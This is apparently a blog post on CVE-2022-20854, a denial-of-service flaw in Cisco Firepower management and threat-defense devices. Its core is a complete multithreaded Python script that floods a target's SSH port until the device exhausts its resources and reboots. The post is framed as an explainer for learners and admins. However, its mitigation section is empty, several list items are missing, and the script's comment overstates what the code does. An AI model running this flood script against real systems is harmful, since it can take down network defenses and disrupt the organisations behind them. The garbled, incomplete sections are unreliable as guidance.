In 2022, a severe security vulnerability was found in Cisco's Firepower Management Center (FMC) and Firepower Threat Defense (FTD) platforms. This vulnerability, labeled CVE-2022-20854, allows anyone on the internet to remotely cause your critical firewall or management device to crash and reboot—simply by sending a flood of invalid SSH connection requests. This post breaks down how the bug works, why it’s dangerous, and demonstrates a simple exploit.

What Is CVE-2022-20854?

CVE-2022-20854 is a Denial of Service (DoS) flaw affecting Cisco Firepower devices running FMC or FTD software.

Affected: Cisco Firepower Management Center (FMC) and Cisco FTD Software

- Attack Vector: Remote, network-based (via SSH, TCP/22)

Cisco’s Advisory

You can find Cisco’s original post here:  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-ssh-dos-pUeMJrc3

How Does the Attack Work?

The bug happens when SSH connections fail to establish, and the software does not handle the error correctly. If an attacker sends a flood (high rate) of garbage or malformed SSH handshake requests, the Cisco device *tries* to process each one, consumes memory & CPU, and rapidly exhausts its resources. Eventually, the device will reboot itself in an attempt to recover—this may disrupt your entire network.

Step 1: Identify the Target

Let’s say your Cisco FMC or FTD is at 10...1 and SSH listens on TCP port 22.

Step 2: Send a Flood of Bad SSH Connections

We’ll use a simple Python script to imitate an attack by rapidly opening and closing TCP connections without completing the SSH handshake.

import socket
import threading
import time

TARGET_IP = "10...1"   # Change to your target
PORT = 22                # SSH default port
THREADS = 50             # Number of concurrent connections

def attack():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((TARGET_IP, PORT))
            # Send incomplete SSH handshake or simply close
            s.close()
        except:
            pass

# Launch threads to increase attack speed
for _ in range(THREADS):
    t = threading.Thread(target=attack)
    t.daemon = True
    t.start()

print("Flooding SSH port of the target. Press Ctrl+C to stop.")
while True:
    time.sleep(1)

CAUTION: Don’t run this on any network or system you don’t have permission to test—it can easily knock vulnerable devices offline.

Real-World Impact

Admins have reported that hitting vulnerable Cisco Firepower devices with a surge of SSH connection attempts caused:

Firewall rules stopped applying during the reboot

- Security monitoring/alerts went offline

For companies depending on always-on network defenses, this flaw is catastrophic.

Mitigation

Cisco has released patches for FMC and FTD software.  
Update as soon as possible!

Temporarily Reduce Risk:

References

- Cisco's Official Security Advisory
- NIST CVE entry for CVE-2022-20854

Conclusion

CVE-2022-20854 shows how a simple mistake in error-handling can open the door for attackers to take down your network hardware. Check your Firepower software versions and restrict SSH everywhere until your devices are patched.

If you’re running Cisco FMC or FTD and see random unexpected reboots, this bug could be the cause. Stay safe out there!


*This article is an exclusive breakdown for security learners and IT admins. Please use all information responsibly and for defensive purposes only.*

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/17/2022 23:25:00 UTC